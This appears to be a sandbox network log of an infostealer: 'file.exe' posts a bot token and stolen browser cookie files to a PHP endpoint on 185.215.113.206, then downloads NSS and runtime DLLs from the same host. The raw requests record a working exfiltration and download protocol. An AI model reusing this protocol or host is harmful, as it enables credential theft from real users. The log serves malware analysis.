Nov 27, 2024 11:14:19.952873945 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:19 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 27, 2024 11:14:19.953058958 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 27, 2024 11:14:19.957035065 CET	248	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49782	185.215.113.206	80	5160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:14:30.175568104 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIEBAFHJJDBGCAKJJKF Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 42 41 46 48 4a 4a 44 42 47 43 41 4b 4a 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------CGIEBAFHJJDBGCAKJJKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------CGIEBAFHJJDBGCAKJJKF--
Nov 27, 2024 11:14:32.139182091 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:32.644242048 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="file"------BGHIIJDGHCBFIECBKEGH--
Nov 27, 2024 11:14:33.616811991 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49830	185.215.113.206	80	5160	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 27, 2024 11:14:39.305908918 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKFIDGDHJEGIEBFHDGDG Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 27, 2024 11:14:39.305986881 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 46 49 44 47 44 48 4a 45 47 49 45 42 46 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 Data Ascii: ------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------JKFIDGDHJEGIEBFHDGDGContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 27, 2024 11:14:41.181035995 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:41.329451084 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 34 34 37 61 63 37 32 62 31 32 63 30 36 31 61 38 61 32 39 64 65 33 32 62 34 38 39 64 61 33 61 36 38 63 37 37 61 63 61 32 38 34 39 62 64 64 62 65 34 38 65 31 39 32 36 30 36 35 34 36 33 65 32 39 39 61 30 35 38 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"e447ac72b12c061a8a29de32b489da3a68c77aca2849bddbe48e1926065463e299a05897------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="file"------HDHCFIJEGCAKJJKEHJJE--
Nov 27, 2024 11:14:42.269150019 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 27, 2024 11:14:42.935339928 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 11:14:43.381895065 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 27, 2024 11:14:43.381942034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 27, 2024 11:14:43.381958008 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 27, 2024 11:14:43.382107019 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 27, 2024 11:14:43.382121086 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Nov 27, 2024 11:14:43.382136106 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Nov 27, 2024 11:14:43.382150888 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Nov 27, 2024 11:14:43.382296085 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Nov 27, 2024 11:14:43.390290022 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Nov 27, 2024 11:14:43.390434980 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Nov 27, 2024 11:14:44.903409004 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 11:14:45.349689960 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 27, 2024 11:14:46.331734896 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 11:14:46.812465906 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 27, 2024 11:14:47.482389927 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 11:14:47.928435087 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 27, 2024 11:14:51.486637115 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 27, 2024 11:14:51.932661057 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 27, 2024 11:14:52.551942110 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
